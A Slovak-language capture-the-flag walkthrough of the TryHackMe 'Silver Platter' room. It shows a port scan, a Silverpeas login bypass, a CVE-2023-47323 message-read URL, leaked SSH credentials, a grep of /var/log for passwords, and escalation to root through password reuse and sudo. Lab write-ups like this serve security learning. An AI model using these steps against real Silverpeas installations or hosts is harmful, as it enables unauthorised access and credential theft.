TryHackMe - Silver Platter (Strieborný tanier)
Celkom zábavná miestnosť, kde zneužívame zraniteľnosť prihlásenia sa do aplikácie Silverpeas
Úvod
Docela zábavná miestnosť, kde zneužívame zraniteľnosť prihlásenia sa do aplikácie Silverpeas a potom zneužívame ďalšie CVE na získanie vlajky používateľa a roota.
Myslíte si, že máte na to, aby ste prekabátili tím Hack Smarter Security? Tvrdia, že sú neprekonateľní a teraz máte šancu dokázať im, že sa mýlia. Ponorte sa do ich webového servera, nájdite skryté vlajky a ukážte svetu svoje elitné hackerské schopnosti. Veľa šťastia a nech vyhrá najlepší hacker!
Ale pozor, toto nebude prechádzka rúžovou záhradou. Hack Smarter Security posilnili server proti bežným útokom a ich politika hesiel vyžaduje heslá, ktoré neboli v žiadnom úniku dát (porovnávajú to so zoznamom slov rockyou.txt
- tak sú ‘cool’). Hackerská rukavica bola hodená a je čas pozdvihnúť svoju hru. Pamätajte, že na vrchol sa dostanú len tí najgeniálnejší.
Nech je váš kód rýchly, vaše zneužitia bezchybné a víťazstvo vaše!
Nmap
Začneme nmap skenom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_ 256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open http-proxy
|_http-title: Error
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Sun, 16 Feb 2025 20:12:10 GMT
| <html><head><title>Error</title></head><body>404 - Not Found</body></html>
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Sun, 16 Feb 2025 20:12:09 GMT
Z nmap môžeme vidieť dostupné porty
22/tcp
80/tcp
8080/tcp
Prieskum
Pri kontrole kontaktnej stránky môžeme vidieť možné používateľské meno a aplikáciu s názvom Silverpeas:
Rýchle googlenie a máme dôležitú informáciu
Silverpeas štandardne používa prihlasovaciu stránku umiestnenú na adrese http://localhost:8080/silverpeas
, tak to skúsme
Presmeruje nás to priamo na prihlasovaciu stránku:
Ďalšie googlenie nám prezradí možnú chybu zabezpečenia týkajúcu sa prihlasovacej stránky:
Viac informácií o zraniteľnosti nájdete tu https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d
Po vygooglovení predvoleného používateľského mena pre Silverpeas vidíme, že je to SilverAdmin
Zachytenie požiadavky HTTP cez BurpSuite
Skúsime vytvoriť požiadavku POST http cez BurpSuite:
Pôvodná požiadavka:
Upravená požiadavka po odstránení poľa Password:
A sme prihlásení ako admin
Po ďalšom googlené týkajúcom sa zraniteľností Silverpeas nájdeme https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323
V podstate si môžeme prečítať akúkoľvek správu pod linkom:http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]
Po niekoľkých pokusoch úspešne nájdeme správu pod ID6:
Prihlásenie cez SSH
Použijeme tieto prihlasovacie údaje na prihlásenie cez ssh ako užívateľ tim
1
2
meno: tim
heslo: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
A získavame vlajku užívateľa:
Pri kontrole členstva v skupinách vidíme, že tim je súčasťou skupiny adm:
1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
Po spustení nasledujúceho príkazu nájdeme logy s heslom do DB:
1
2
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null
1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/
Skúsme rovnakú kombináciu mena a hesla ako do DB:
1
2
3
tim@silver-platter:~$ su tyler
Password:
tyler@silver-platter:/home/tim$
Teraz skontrolujeme členstvá v skupinách a máme oveľa viac privilégií:
1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
Aha tak nič, dokonca sme priamo root:
1
2
3
4
5
6
7
8
9
10
11
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler:
Matching Defaults entries for tyler on silver-platter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
Používateľ tyler môže na striebornom podnose spustiť nasledujúce príkazy:
(ALL : ALL) ALL
tyler@silver-platter:/home/tim$
Takže teraz sa môžeme jednoducho prehodiť na roota pomocou sudo:
1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim#
Root Vlajka
A nájdeme vlajku používateľa root: